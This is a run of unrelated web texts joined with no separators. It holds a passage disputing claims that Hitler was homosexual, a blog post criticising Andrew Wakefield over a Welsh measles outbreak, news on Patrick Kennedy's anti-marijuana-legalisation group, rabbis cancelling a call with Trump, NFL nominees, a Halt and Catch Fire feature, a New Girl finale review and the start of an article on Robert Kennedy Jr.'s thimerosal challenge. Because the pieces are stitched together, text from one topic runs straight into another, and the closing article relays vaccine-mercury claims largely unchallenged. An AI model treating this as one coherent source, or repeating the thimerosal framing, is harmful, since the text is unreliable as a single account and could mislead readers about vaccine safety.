Hitler’s sexuality has been examined from several different angles. He is an enigma for sure, but you wouldn’t know it by listening to Fischer who called Hitler “an active homosexual.” In the historical record it is clear that Hitler displayed some interest in certain women but this was glossed over by Fischer. Even if Hitler did have a homosexual period –this is by no means proven — there was a clear shift in attitude toward homosexuals after the murder of Ernst Rohm. It is accurate to say that Rohm and several of the SA Brownshirts were homosexual. Hitler tolerated them until they were no longer useful and had them executed in 1934 during the Night of the Long Knive purge. The man who led the execution of Rohm and who later had responsibility for instilling the uncompromising cruelty of the concentration camps at Dachau and later as general inspector of all camps was Theodore Eicke. Eicke, not mentioned in Scott Lively’s book, was married with two children; very straight and very savage.
What follows are just a sampling of quotes which are relevant to Fischer’s theories.
Hitler avoided contact with women, meeting with cold indifference during visits to the opera alleged attempts by young women, probably seeing him as something of an oddity, to flirt or tease him. He was repelled by homosexuality. He refrained from masturbation. Prostitution horrified but fascinated him. He associated it with venereal disease, which petrified him. (p. 23)
–Ian Kershaw in Hitler: A Biography (2008). WW Norton & Co.
“Diels says of Hitler, “He [Hitler] lectured me on the role of homosexuality in history and politics. It had destroyed ancient Greece he said. Once rife, it extended its contagious effects like an ineluctable law of nature to the best and most manly of characters, elimination from the reproductive process those very men on whose offspring a nation depended. The immediate result of the vice, however, was that unnatural passion swiftly became dominant in public affairs if it were allowed to spread unchecked”. (p.118) (Rudolf Diels was the first chief of the Gestapo)
–Frank Rector. (1981). The Nazi Extermination of Homosexuals. Stein & Day Publishing.
Hitler was prudish in his abhorrence of the “sins” of the modern big city like prostitution, homosexuality, and even immodest dress. He wrote of these matters as the “political, ethical and moral contamination of the people” and the “poisoning of the health of the body politic.” (p. 336)
–Robert Gellately (2007). Lenin, Stalin and Hitler: The Age of Social Catastrophe. Random House.
In November, 1941 Hitler even signed a decree making homosexual offenses among SS members and policemen a capital offense. Two months earlier, Hitler had explained to Goebbels the Darwinian underpinnings of his opposition to homosexuality. After remarking that homosexuality should not be tolerated, especially in the Nazi party and the Army, Hitler continued:
The homosexual is always disposed to drive the selection of men toward the criminal or at least the sickly than the useful in the selection of men. If one would give him free rein, the state would eventually be an organization of homosexuality, but not an organization of manly selection. A real man would defend himself against this endeavor, because he sees it as an assassination of his own evolutionary possibilities. (p. 131)
—Hitler’s Ethic: The Nazi Pursuit of Evolutionary Progress (2009). Richard Weikart. Palgrave MacMillan.
Now, 15 years after Mr. Wakefield’s heyday, an outbreak of measles has hit south Wales. And the press are reminding us all that Mr. Wakefield’s research reports were wrong and that he acted unethically in the process of creating those reports. And Mr. Wakefield is responding with the blame shifting and goalpost moving that has become his standard. To their shame, a UK newspaper hosted Mr. Wakefield’s response. And he has gone direct to YouTube with a video where he lays out his explanation. And calls for a debate. Yes, a debate. Televised. Because that’s how science is decided, right? TV debates? If there weren’t children suffering and in danger, this would be a bad joke.
Dr. Fitzpatrick also points out that he has offered to debate Mr. Wakefield in the past and Mr. Wakefield refused. Dr. Fitzpatrick has offered to take Mr. Wakefield up on his debate request. So far I don’t see any signs from Mr. Wakefield that he’s going to take Dr. Fitzpatrick up on his offer. Mike Fitzpatrick has been countering Andrew Wakefield’s misinformation since the early days of the MMR scare.
Let’s step back a moment and ask how did we get to this situation where low vaccine uptake has resulted in a major outbreak? Well, 15 years ago Mr. Wakefield’s team at the Royal Free Hospital released a paper which suggested a link between autism and the MMR vaccine. Mr. Wakefield did much more than suggest a link. At the press conference for the paper’s release (note that very few papers have press conferences) Mr. Wakefield called for the suspension of the MMR vaccine in favor of single measles, mumps and rubella vaccines. He didn’t really explain why the single vaccine would be more safe in his mind, making it very difficult for parents to accept how the single vaccines were, in his faulty opinion, safe.
Mr. Wakefield’s current logic has it that it is the government’s fault for not allowing the importation of single vaccines. Ignore the unfounded fear that Mr. Wakefield created about measles vaccines, he asks. Blame the government. Sure the government can take some blame (anyone recall when the prime minister refused to answer whether his family used the MMR?). As does the press. But without Andrew Wakefield and his faulty assertions, there would have been no scare.
Mr. Wakefield repeats his claim that his opinions on the MMR were based on a 200 page report on measles vaccines. He didn’t even mention his 200 page report at the time of the Lancet paper and press release. Ignore the research he did (we should have. It was faulty and unethically performed). Instead, let’s look to his report. A report which only now he will release to the public, according to his YouTube video. Yes, no one has seen his report. We were all supposed to take his opinion for the past decade and a half. He didn’t even tell us about his report. We were just supposed to have such confidence in him that we were supposed to have assumed he had some reason.
Now he will finally release his report, he says. That is, if his attorneys give him permission. Yes, he will spend the money to have attorneys read his 200 pages and only then, possibly, make some edits and then let us see how he came to this faulty conclusion.
Keep in mind, in 1998 Andrew Wakefield’s statements were made in the context of an active researcher who claimed he had evidence to support a reason to instill fear about the MMR vaccine (and, let’s face it, fear of the single vaccine. One of the lancet 12 got the single vaccine.) What did he say at the time?
In a video released with the press conference, he is shown stating:
I think if you asked members of the team that have investigated this they would give you different answers. And I have to say that there is sufficient anxiety in my own mind of the safety, the long term safety of the polyvalent, that is the MMR vaccination in combination, that I think that it should be suspended in favour of the single vaccines, that is continued use of the individual measles, mumps and rubella components.
No mention of his report. He gave this in the context of a man who led the team that had just released the 1998 Lancet study.
He further asks us to accept a new revised history, and this is the statement that forced me to write again about this man. In his video he claims, “all I could do as a parent is state what would I do for my child.” He didn’t present his views as “what would I do as a parent”. He presented his mistaken views as a researcher who was actively exploring the question. Don’t take my word for it. Take his. From his testimony before the GMC:
At that stage, having done a good deal of research, I wanted to make it clear to my colleagues, including Professor Zuckerman, that since a press briefing had been recommended and was being organised, that if I were asked, if the question were put to me, then I would have to act in due conscience based upon my researches and I would not be able to continue to recommend the combined measles/mumps/rubella vaccine.
emphasis added. Not his position as a parent. As a researcher.
Many of the children in Wales who are at risk for measles infection are older than those who typically get the MMR. Their parents decided years ago, during the height of the scare, to forgo the MMR vaccine. Even if Mr. Wakefield’s ideas were correct (and multiple studies have shown they are not), these children are not at risk of developing autism by his mechanism. And yet he doesn’t call for parents to vaccinate their children. Instead, he spends his time telling us all about how it isn’t his fault that children are getting infected.
It’s not about the children or their safety. It’s about him.
The idea that Mr. Wakefield’s claims could cause a scare and lead to outbreaks of measles is not new. His own research colleagues warned him of the possibility before their press conference. They asked that they show a public face that was “agnostic” towards the safety of the MMR. Mr. Wakefield refused. And now he asks us to ignore that it was his own actions that have put children at risk.
Mr. Wakefield’s colleague and co-author on the Lancet paper, Dr. Simon Murch, made this statement long ago:
This link is unproven and measles is a killing infection. If this precipitates a scare and immunisation rates go down, as sure as night follows day, measles will return and children will die
Night has followed day. Measles has returned. And we now wait and pray that none die.
By Matt Carey
By Alex Dobuzinskis
Jan 5 (Reuters) - Retired Rhode Island Congressman Patrick Kennedy is taking aim at what he sees as knee-jerk support for marijuana legalization among his fellow liberals, in a project that carries special meaning for the self-confessed former Oxycontin addict.
Kennedy, 45, a Democrat and younger son of the late "Lion of the Senate" Edward M. Kennedy of Massachusetts, is leading a group called Project SAM (Smart Approaches to Marijuana) that opposes legalization and seeks to rise above America's culture war over pot with its images of long-haired hippies battling law-and-order conservatives.
Project proposals include increased funding for mental health courts and treatment of drug dependency, so those caught using marijuana might avoid incarceration, get help and potentially have their criminal records cleared.
Kennedy wants cancer patients and others with serious illnesses to be able to obtain drugs with cannabinoids, but in a more regulated way that could involve the U.S. Food and Drug Administration playing a larger role.
The eight-term former congressman from Rhode Island and the group he chairs will put forth their plan on Wednesday with a media appearance in Denver.
Their efforts follow the November election that saw voters in Washington state and Colorado become the first in the nation to approve measures to tax and regulate pot sales for recreational use. Kennedy's group is seeking to shift the debate and reclaim momentum for the anti-legalization movement, in part by proposing new solutions with appeal to liberals, such as taking a public health approach to combat marijuana use.
Legalization backers have argued that the so-called War on Drugs launched in 1971 by former President Richard Nixon has failed to stem marijuana use, and has instead saddled otherwise law-abiding pot smokers with criminal records that may block their avenues to landing a successful job.
Kennedy faults the U.S. government for allocating too much of its $25 billion drug control budget to law enforcement rather than to treatment and prevention.
"Yes, the drug war has been a failure, but let's look at the science and let's look at what works. And let's not just throw out the baby with the bathwater," Kennedy, who served in the U.S. House of Representatives from 1995 to 2011, said in a telephone interview.
The U.S. Department of Justice is still developing a policy in regard to the new state legalization measures.
President Barack Obama said in an interview with ABC News last month that it did not make sense for the federal government to "focus on recreational drug users in a state that has already said that, under state law, that's legal."
BIPARTISAN APPROACH
Conservative political commentator David Frum, a speech writer for former President George W. Bush, is also a board member on Project SAM, which lends it a bipartisan flavor.
For his part, Kennedy is aiming many of his arguments toward liberals like himself. Polls show Democrats largely favoring legalizing marijuana, and among the 18 states that allow medical marijuana, several are in the West and Northeast and are heavily Democratic.
"The fact is people are afraid on the (political) left to look like they're not for an alternative to incarceration and criminalization, and they're afraid they're not going to look sympathetic to a cancer patient" who might use marijuana, Kennedy said. As a result, he said the legalization position mistakenly comes to be seen as "glamorous."
Kennedy admits to having smoked pot but also said that, as an asthma sufferer, he "found other ways to get high."
In 2006, he crashed his car into a security barrier in Washington, D.C., and soon after sought treatment for drug dependency. He said he was addicted to the pain reliever Oxycontin at that time and suffered from alcoholism. He added that he has been continuously sober for nearly two years.
Kennedy, who was married for the first time in 2011, said he worries his 8-month-old son might be predisposed to drug abuse - due to a kind of genetic "trigger" - and that is part of his fight against legalization.
He also said he wants to "reduce the environmental factors that pull that trigger," such as marijuana use being commonly accepted.
Meanwhile, another prominent figure from Rhode Island, the newly crowned Miss Universe Olivia Culpo, is making waves by also objecting to legalization. She told Fox News this week there are "too many bad habits that go with the drug."
In Washington state, Alison Holcomb was campaign director for the legalization measure, which billed itself as having a public health element to help people dependent on marijuana.
The measure, which is not set to go into full effect until after state regulators spend most of 2013 setting guidelines, would allow adults 21 and older to buy marijuana at special stores.
Holcomb argued that drug dependency courts are more geared toward users of hardcore drugs, and that the approach her group put forward is the sensible one.
"I don't know what a public health approach without legalization looks like, if you're still arresting people," she said.
Protesters shout anti-Nazi chants after chasing alt-right blogger Jason Kessler from a news conference Aug. 13 in Charlottesville. (Chip Somodevilla/Getty Images)
Each year of Barack Obama’s presidency, U.S. rabbis organized a conference call to speak with the president ahead of the Jewish High Holidays.
But this year, those rabbis will not participate in such a call with President Trump.
Citing his lack of leadership after the Charlottesville protests, rabbinical groups representing the Reform Jewish Movement, the Reconstructionist Movement and the Conservative Movement issued a joint statement Wednesday announcing their decision.
“The president’s words have given succor to those who advocate anti-Semitism, racism, and xenophobia,” they wrote. “Responsibility for the violence that occurred in Charlottesville, including the death of Heather Heyer, does not lie with many sides but with one side: the Nazis, alt-right and white supremacists who brought their hate to a peaceful community. They must be roundly condemned at all levels.”
The White House did not immediately return a request for comment.
Tuesday night at a rally in Phoenix, Trump reread his three statements pertaining to Charlottesville and maintained that he had adequately condemned hate groups. But many still believe that the president was not forceful enough and that he left room for white supremacists to interpret his remarks as supportive. Many have since distanced themselves from the president, including Republican lawmakers and charity organizations that normally hold functions at Trump’s Mar-a-Lago estate.
Though anti-Semitism was on the rise during the 2016 presidential campaign and increasingly after, Rabbi Jonah Pesner, director of the Religious Action Center of Reform Judaism, said up until last week that they still intended to hold the call with Trump.
[On Rosh Hashanah, rabbis wrestle with whether to take on Donald Trump]
The calls began in President Barack Obama’s term as a way for the broader rabbinical community to hear supportive words from the president ahead of their most holy days. Each denomination then had a chance to ask him a question. Most years the first question would be about Israel, Pesner said, and in later years, questions arose around racial justice and the global refugee crisis.
Last year, in his final conference call as president with several-hundred U.S. rabbis, Obama said he would use this time to reflect on the previous eight years and the unfinished work still to do. It was the end of September, and presidential candidate Hillary Clinton was then leading widely in the polls.
“But a new year brings new hope, and the community represented on this phone call has always known what it means to stand up for the less fortunate, the stranger, the immigrant, the refugee,” Obama said. “And so I’m confident that we can stand together and make sure that as we pass the baton to the next administration that we’re going to be able to build on the enormous progress that we’ve already made.”
Such assuring messages are needed more than ever, Pesner said, “with Jews being so concerned about the rise of white supremacy and with this president who has given anti-Semites comfort and aid.”
The organization of Orthodox rabbis, the Rabbinical Council of America, did not sign the joint statement, and Pesner did not know whether they’ll still try to hold a call with Trump.
In an emailed statement, they would not say whether they would hold a call. An RCA spokesman said they “believe it is more effective to address questions and concerns directly with the White House” and instead pointed to their strongly worded rebuke of Trump’s Charlottesville remarks.
“Failure to unequivocally reject hatred and bias is a failing of moral leadership and fans the flames of intolerance and chauvinism,” the Orthodox rabbis wrote. “While as a rabbinical organization we prefer to address issues and not personalities, this situation rises above partisan politics and therefore we are taking the unusual approach to directly comment on the words of the president.”
Trump’s family, including daughter Ivanka and son-in-law Jared Kushner, and grandchildren, are Orthodox Jews. Their rabbi in New York City wrote a letter to his congregants in which he said he was “deeply troubled” by Trump’s comments after Charlottesville.
The Jewish High Holidays are a time of reflection and repentance. Pesner said it’s an opportunity for Jewish people to ponder whether they are doing enough to combat bigotry and hate.
He would not comment on whether Ivanka and Jared should reflect on that while observing the holidays, but said he prays that Trump does his own reflecting on it.
(This post has been updated.)
Read more:
‘Jews will not replace us’: Why white supremacists go after Jews
After Charlottesville, will white pastors finally take racism seriously?
CLUTCH PERFORMER OF THE WEEK NOMINEES
Rashad Greene, Jacksonville Jaguars Greene's 63-yard punt return set up the go-ahead score -- Blake Bortles' 5-yard touchdown pass to Julius Thomas -- in a 19-13 win over the Tennessee Titans.
D'Qwell Jackson, Indianapolis Colts Jackson's interception return for a touchdown tied the game 21-21 with just over 10 minutes remaining and capped a rally from a 14-point deficit. Adam Vinatieri's 43-yard field goal with 52 seconds remaining then gave the Colts a 24-21 road win over the Atlanta Falcons.
Brock Osweiler, Denver Broncos Osweiler's 10-yard touchdown pass to Cody Latimer in the fourth quarter provided the advantage the Broncos needed in a 17-15 road win over the Chicago Bears. Osweiler had two touchdown passes as he won his starting debut.
Chris Cantwell, the co-creator and, as of this season, co-showrunner of Halt and Catch Fire, sits in the director's chair between set-ups on the Atlanta soundstage where the series is shot. It's not a chair he's used to occupying: This is his first day ever directing the show.
"I spent months freaking the fuck out, for lack of a better word," he says. Clear-eyed and clean cut beneath a baseball cap, he's in his early 30s but looks every bit the rookie he worries he is. "But I've prepped as much as I can, and I've known the actors for so long, so it feels good."
On deck today: a scene in the California home of programmer Gordon Clark (Scoot McNairy). After spending the first two seasons in the Dallas-area Silicon Prairie, Gordon and the rest of Halt's mercurial characters—his equally intelligent but business-savvier wife Donna (Kerry Bishé), her wunderkind punk partner Cameron (Mackenzie Davis), their genial Texan major domo John Bosworth (Toby Huss), and their strange, possibly sociopathic yuppie frienemy Joe McMillan (Lee Pace)—have packed up stakes and put down roots in Silicon Valley. Their move takes place in 1986, at a time when the money and power of tech had begun reshaping San Francisco, and the rest of the world, in a major way. Gordon's changed circumstances indicate that they've reshaped the lives of Halt's heroes as well.
Co-creator and director Chris Rogers on the set of Tina Rowden/AMC
Indeed, Halt seems to reboot itself with each new season. It began as a familiarly anti-heroic drama about Joe's hostile takeover of a tiny Texas electronics company in a quixotic quest to design a next-generation personal computer, but by Season Two the focus was on Cameron and Donna's joint venture Mutiny, a video game company turned early Internet service provider and proto-social network. From the new setting to the new showrunners (Jonathan Lisco, who was at the helm for the series' first two seasons, departed for TNT's Animal Kingdom), the leap from Season Two to Season Three is equally dramatic. "We almost err on the side of so much reinvention that it's frustrating," Cantwell says. "But the technology industry is like that. Having to keep up with that constant change allows us to reinvent characters, to do some really cool stuff."
The technology industry is like that. Having to keep up with that constant change allows us to reinvent characters, to do some really cool stuff.
It's also helped the show itself catch fire—critically, if not commercially. After early growing pains driven by antihero fatigue (not helped by AMC's decision to plop Joe and company right into the time slot recently vacated by the network's previous period piece Mad Men), the show slowly evolved into a story about its passionate core quartet of tech whizzes struggling to work together, rather than to tear each other apart. By the time the women took center stage in the second season, critics were fully on board, making Halt one of 2015's most acclaimed shows. Audiences, however, had yet to follow suit, and the series' low ratings made its renewal an iffy proposition for months before the network finally gave the go-ahead.
"What I was told was that the journalists were the one who championed this thing," McNairy confides during a break in shooting. "Like, 'Please come back, please come back, please come back.' I think the network was like, 'Well, they definitely liked the show.'"
Scoot McNairy as Gordon Clark James Minchin/AMC
So does the network itself. "The guys from New York talk about it like fans," Cantwell says. "Yes, they factor in all of the analytics and data in determining our future, but so far a big portion of [their decision-making process] has been, 'Do we like this show? Yes, we like it a lot. Just go do your thing.' Like the saga of the Internet upstarts it chronicles, Halt itself is, as cast and crew frequently call it, an underdog story—albeit one with an unusual amount of leeway to do things its own way.
Hence the series' latest reinvention, and its third chance to snag an audience commensurate with the show's quality: Halt and Catch Fire Season Three, which begins tonight. That fact alone makes Halt something of a success story—or what passes for one in the era of Peak TV, in which hundreds of scripted shows struggle for a share of the public's attention, an uphill battle for any series without dragons or zombies in its arsenal. Getting that third season is a rare case of a show being rewarded simply for being well made rather than pulling in ratings or tapping the Twitter-trend zeitgeist. It's a struggle that'd feel familiar to the characters themselves.
"There's an intrinsic metaphor to what we're doing here," Kerry Bishé tells me before shooting that afternoon. "We're making a TV show and the characters are making their technology, but the big goal is making a beautiful, perfect product that can go to market and succeed. It'd be nice if more people watched our show, but I'm doing work I love and value. We define ourselves so much by success in our jobs that I think it's worth investigating what success is. What counts. What matters."
We're making a TV show and the characters are making their technology, but the big goal is making a beautiful, perfect product that can go to market and succeed.
James Minchin/AMC
At first, "What matters?" was a question the show's creators themselves couldn't answer. When Cantwell and Chris Rogers wrote the pilot for Halt and Catch Fire, they had little in mind but jumping on board one of the shows they already liked. "We're both in our early 30s, so the shows that made us wanna do this were the great 'difficult men' shows: The Sopranos, Breaking Bad, The Wire," Rogers says. "We wrote the pilot in a way that was set up to ape them: Joe McMillan is a traditional antihero, and the world is organized around him in that way." But when the pilot was bought by AMC for production, rather than simply used as a staffing script to land "The Chrises" (as Halt's cast and crew universally call them) in a writers' room for a preexisting series, things changed. "As we got in there and started doing it, we had a writers' groove. We figured out what was our voice, as opposed to the voice that felt like it was emulating the shows we liked."
For a while there, it was rough going. While the pilot wowed many viewers with its impeccable period-accurate '80s soundtrack and design (to this day, it puts Stranger Things to shame), subsequent episodes felt like one protracted shouting match between the show's main characters, fueled by Joe McMillan's distinctly Don Draper-esque narcissism. The tall, dark, and handsome master of the universe; the harried brainiac husband; the overworked and underappreciated wife; the brash young rebel: Joe, Gordon, Donna, and Cameron were, for a while, little more than the sum of their parts. "For me, Season One wasn't the easiest thing in the world to watch," says Toby Huss, whose character John Bosworth was the man Joe duped into allowing him to take over the business. "It was hard to watch these jangly people beat on each other."
Toby Huss as John Bosworth James Minchin/AMC
One of the earliest signs that Halt had potential came from an unlikely source: Bosworth himself. At first, the old-school, back-slapping salesman was the younger characters' primary obstacle to making something new and exciting. On any other show, that's where he might have stayed: a conservative Texas shitkicker designed as an antagonist for the main players to surmount. "We had a similar image of John when we wrote the pilot," says Cantwell. "We didn't know how long he would last."
Then something happened: Huss, the veteran actor-comedian whose resume includes stints on material as disparate as Carnivale and Reno 911!. "Toby came in and did an audition that was 180 degrees from what we were thinking," Cantwell says. "We thought Bosworth would be this grounded, slow-talking Texan, and Toby is so wiry and full of energy that the casting director couldn't keep him in frame. We were like, 'This is insane.'" Once the character started doing scenes with the much younger Cameron—his cultural and temperamental opposite in many ways—the paradoxical chemistry between Huss and Davis was too much to ignore. "We saw him do scenes with Mackenzie and went, 'Oh my God, we gotta see more of that.,'" Cantwell continues. "Credit to Toby for making that such an option," says Rogers. "He showed up and did what he did, and we felt we'd be fools not to use other colors for him."
So Boz, as he's known to the show's small army of young coders, slowly jettisoned his old ways to become a key component of Cameron's upstart business. "Chris and I's rule of thumb was no matter what, we've gotta keep an open mind, because we're gonna be surrounded by people who are extremely talented and have done this longer than us," Cantwell says. "I feel like that's served us well, because that's what's given us John Bosworth."
"That's very kind of them," Huss says of his writers' praise, "but I see it as all the writing, you know? This guy really shouldn't exist. He's really an outlier. He realized that to open up to this new thing was the only way to learn and grow as a man. It was a vivisection, but it was necessary, and it's a great credit to the writers to make this arc for this guy."
Kerry Bishé as Donna Clark James Minchin/AMC
Before long, similarly unpredictable role reversals and nuances became the norm. Cameron went from a perpetually angry middle finger in human form to a dedicated, ambitious visionary. Gordon came out of his middle-management shell, but his genius was tempered by slowly mounting mental difficulties brought on by exposure to toxic chemicals in the computers he engineered. Donna, perhaps the biggest revelation, went from supporting character to main player, the one character who best balanced the needs of creativity and commerce in the workplace. The role suits Kerry Bishé, who even in a cast that's clearly thought a whole lot about what they're doing stands out as something of a philosopher-king in conversation. "They laid in really heavily to a lot of stereotypes about TV moms, and it was nerve-wracking to put your trust in people like that," she says. "But it's turned out to be a wonderful trip: all of the steps along the way to waking up to your ambition, stepping into yourself, becoming a confident actor in the world."
Even Joe, the American psycho who is the Chrises' most admittedly derivative creation, became an engaging enigma rather than an off-putting one. His history of severe abuse and his AIDS-era paranoia about love (McMillan is bisexual) made him a kind of palimpsest, constantly rewriting himself to suit the needs of the moment. "I see someone who's trying to be someone he's not," says Pace, whose beatifically beautiful face gives McMillain the vibe of an ecstatic saint in a Renaissance fresco even when he's smashing the scenery. "The car, the sunglasses, his whole way of being—it's like a mask he's been wearing since he was a child, a persona he could maneuver with." By the time he shows up this season, with a fortune earned from anti-virus software he stole from Gordon backing him up and a new-age guru vibe swiped from Steve Jobs, his inscrutability has gone from infuriating to fascinating.
Tina Rowden/AMC
To hear both creators and cast tell it, much of this evolution is a direct result of the extraordinary lengths to which the actors have gone to dig into their roles. "We feel proprietary about this," says Huss. "This is our show."
Lee Pace as Joe MacMillan James Minchin/AMC
That sense of ownership begins at Pace's home, where the cast gathers on their own time and own dime to discuss their material. "We get together and read the scripts on weekends, just to see what we might find, and we have a few bottles of wine and talk about it," says Pace. "We make dinner, we hang out for four or five hours, and we go through the script, just the actors—because we all like each other," Huss elaborates. "It's funny, the way they cast it, because we're all sort of weirdos, for lack of a better term. We all have a bit of an iconoclastic edge, I think. That's our nature. So all these disparate elements came together to make a thing we all really care about it."
"There was this sense of us being a scrappy little startup," says Mackenzie Davis, whose startup-founding character Cameron Howe is the scrappiest of all. "The Chrises weren't jaded industry vets when they started the show, and speaking exclusively for myself, it was my first big job. And the show has continued with this sort of small family feeling. The five of us move to Atlanta each year, shoot in an old dog-food factory for four months, and just work really hard, as a company, to make something we think is cool and beautiful. I don't know what the show would be like if we didn't work so collaboratively, and so far outside the normal working hours. It would be a totally different beast."
New to the family and to the weekly wine-fueled get-togethers this year is actor Matthew Lillard, the Scream and Scooby-Doo vet who convincingly inhabits Ken Diebold, a venture-capital robber baron who invests in Joe's latest venture. Along with Annabeth Gish as rival VC hard-charger Diane Gould and Manish Dayal as wide-eyed young coder Ryan Ray, he's one of several key additions to the cast, and his enthusiasm for the project is so overwhelming that he jokes the network should be notified as proof of his loyalty. "I found it incredibly refreshing to come on set and be with people that were only concerned about the work," Lillard says. "That's a hard thing to do on television. It's fast, you're doing lots of pages, you have long hours—you know, it's a grind. But it goes back to the actors, sitting around a table, drinking a glass of wine, talking about scenes, talking about relationships, talking about what happens. These guys are out there the day before, working on next week's scenes. Ratings be damned, what they're trying to do is great work."
It goes back to the actors, sitting around a table, drinking a glass of wine, talking about scenes, talking about relationships, talking about what happens. Ratings be damned, what they're trying to do is great work.
Consciously or not, Lillard's description echoes the cast's take on the characters they play. "Something I discovered at the beginning of this season is that none of these characters care about money," says McNairy, though he's incongruously ensconced on the set of a luxury hotel at the time. "They're so focused on innovation that they're so quick to just"—he snaps his fingers for emphasis—"give away their salaries, because the vision is so much more important. Their overall mission is to change the world."
"Don't think it doesn't bleed into us!" he continues, leaning forward in his chair. "Lee and me will get into it about something, and I'll be like, 'Lee, that's the character saying that, not you.' We have to be like, 'Stop, stop, everybody—this was what was written on the show. Let's not let our own personal feelings get involved.'"
"Mackenzie and Scoot and Kerry and Toby get so sick of hearing me defend Joe McMillan," Pace agrees with a laugh. Sure enough, he launches into a multi-minute revisionist-history version of the first season's climactic act of industrial espionage, recasting Joe as a scapegoat unfairly blamed for the mistakes of his colleagues.
This is the kind of conviction that can't help but show up on screen, making each side of any given argument over the direction of the group's joint ventures feel equally persuasive. This, ultimately, is Halt and Catch Fire's killer app. When Gordon and Cameron clash in Season One over whether her warm, advanced, Apple-esque user interface should be scrapped to make their computer lighter and cheaper, or when Cameron and Donna argue in Season Two over whether Mutiny should abandon its gaming focus in favor of chat rooms and community, or when new hires and attempts to close old wounds come up in Season Three, viewers genuinely don't know which is the correct side to take. Good, even great, dramas frequently telegraph who's right and wrong in any given dispute; Halt leaves it tantalizingly, gorgeously uncertain.
Mackenzie Davis as Cameron Howe James Minchin/AMC
"I love that," says Davis unequivocally. "We talk about that all the time. Ego comes into these arguments, because of course each side is convinced that their vision is the right one, but still, it feels like the ego is balanced by the belief in something pure. There isn't a right and wrong to each disagreement. There are just constant forks in the road. You hope the fork you choose will lead you to become Steve Jobs, but most of them don't."
McNairy's take is more profane, but ties the story's shades of gray directly to the actors' investment in their roles: "Everybody's got their heads so far up their asses with their characters, which makes the audience watching it think, 'Both ways could work.'"
"The more invested everyone is in what they're doing, the more it impacts your experience," Lillard agrees. "When a show is trying to be great, that's more prominent. Does that make sense? If you're doing a show for the tenth year and you're just making your paycheck, doing 22 episodes of television, and you're burned out, nobody gives a shit."
"It's so funny," Huss laughs. "The show is about a bunch of outsiders who are trying to come together, however flawed they might be, but they're trying to put some of their flaws aside for the greater good. That's what this has all been about."
The show is about a bunch of outsiders who are trying to come together, however flawed they might be, but they're trying to put some of their flaws aside for the greater good. That's what this has all been about.
Scoot McNairy on the set of Tina Rowden/AMC
Touring the set for a final time, the characters' quirks are evident in the environment. Cameron's office has an edgy air, as if you could jam a desktop computer inside the Never Mind the Bollocks cover. Donna's is a projection of professional efficiency. Bosworth's looks like a room where you can exchange hard drinks and handshakes. Joe's apartment is immediately identifiable from its cold, '80s-modernist minimalism and planes of reflective glass, the better to show him the man he wants to be. And the living room and kitchen where Gordon's puttering around are populated by equal parts children's breakfast cereal and grown-up booze. Each feels recognizably human—and that, at least, is an element of the show that has remained constant from the start.
"It was important to us that this would be a story without guns," says Chris Rogers. "When you don't have someone dictating the action of the scene with a firearm or some kind of bodily threat, then you have to keep going back to the characters to figure out what's gonna happen next. I know it sounds kinda writerly, but I think it keeps you honest."
"Any time two people get together and eat a sandwich and they're in danger of being murdered by dragons or eaten by zombies…I dunno, that gets fucking exhausting to me," Huss echoes. "I dig it: People wanna go on a roller coaster and lose their shit. You might go to AMC to watch The Walking Dead, but hopefully you stay to investigate some show like ours." That's the gamble the network has taken, sneak-premiering Halt's third-season premiere right after the zombie spinoff Fear the Walking Dead this past Sunday.
Any time two people get together and eat a sandwich and they're in danger of being murdered by dragons or eaten by zombies...that gets fucking exhausting to me.
But in the Peak TV era, it doesn't necessarily need to do Walking Dead ratings, and its continued existence is living proof. "If it was ten years ago and it was on a network, or even HBO, it would have been yanked by now," Huss says bluntly. "That's the business question around Peak TV," Bishé elaborates. "By many different standards, we should have been cancelled a long time ago. [But] the sheer amount of television is making people reassess how to judge a successful show, what the benchmarks are, what they really want out of making TV. We're lucky that we've got a network that wants to keep giving us chances."
And if it never quite finds an audience, at a time when so many alternatives exist? "I've always liked being part of a small thing that feels exclusive to the people that care about it," Davis says. "There doesn't need to be millions of people weighing in and writing a million think pieces about it. It just matters to the people that it matters to."
The through line of the episode revolves around making a “clean break”, around looking forward, not back. This idea manifests itself in Coach’s packing process, and as the episode progresses, it becomes clearer and clearer that it’s going to be tough to simply throw out much of his recent history. In fact, for all the loft members, it’s not a very easy task to part with sunglasses or with a sex mug or with a Regis Philbin crepe pan. These objects are parts of who they are, and they’re representative of a fun, wacky, and unforgettable history.
And so, the message the finale leaves with us is that you can make a “clean break” without completely changing who you are. Nick and Jess make a mutual agreement to throw away the sex mug, Coach decides to take along a few things, Schmidt proposes to Cece, and Winston continues being good ‘ol Winston. Changes happen in your life, and there’s no use dwelling on broken hearts or missed chances; what matters is moving forward with your head held high. If the new post-it note on the refrigerator is any indication, there are quite a few things to look forward to in the future. This is a fitting, emotional, and wonderfully written ending, and I’m excited for season five.
GRADE: A-
SEASON GRADE: B/B+
OTHER THOUGHTS:
-What I want from next season: Don’t try to replace Coach. Focus on the characters that you have left, show, and let these wonderful actors do what they do.
– “I’m going to get hard and fix myself.”
-Can we please have the old title sequence back?
-Nick trying to do burpees is hilarious. I want an episode of him learning various exercises, then attempting to teach other people how to do them. Maybe a workout video.
-Winston’s voicemail.
-That final song: giving me some Chuck flashbacks.
-Jack McBrayer makes a very welcome cameo in this episode.
-I feel like this season was a bit more stable than season 3, but there weren’t as many standout episodes as there were last year. The main episode I will come back to, however, is “Background Check”, which was phenomenal.
-Any hopes/predictions for next season? The ratings for the show haven’t been great recently, but syndication’s a big deal. Anyway, I’m not sure I see this going beyond six seasons, and I wouldn’t be shocked if next season were the last. I feel like the show’s beginning to wind down now, and I sure hope that it goes out on top, a la 30 Rock or Parks and Recreation. It definitely deserves to.
Prize offered for study proving mercury preservative used in flu vaccines is safe
In a challenge to journalists, Robert Kennedy Jr. and Robert De Niro say they will give $100,000 to anyone who can find a study proving the mercury levels in vaccines are not toxic for infants and fetuses.
Kennedy, who is head of the World Mercury Project, a non-profit dedicated to fighting all forms of mercury pollution, and author of the book “Thimerosal: Let the Science Speak,” said he’s spent years watching the press repeat what public health officials say without critically questioning or citing primary sources and thus the press has failed as watchdog for the vaccine industry.
“We are going to offer a $100,000 reward, it’s called The 100K Challenge, to any journalist or anybody else who can point to a single existing study that says that it is safe to inject mercury into babies and pregnant women at the levels that we are currently injecting them with the flu vaccine,” Kennedy said at a press conference at the National Press Club in Washington D.C., on Feb. 15.
The Centers for Disease Control and Prevention (CDC) recommends that every person over the age of 6 months receive a flu vaccine. Currently, only multi-dose vials of flu vaccines contain thimerosal, which is used as a preservative to prevent bacterial growth. The CDC said that for the 2016-17 flu season, 157 million to 168 million doses of flu vaccine would be produced, of which around 120 million would be thimerosal-free.
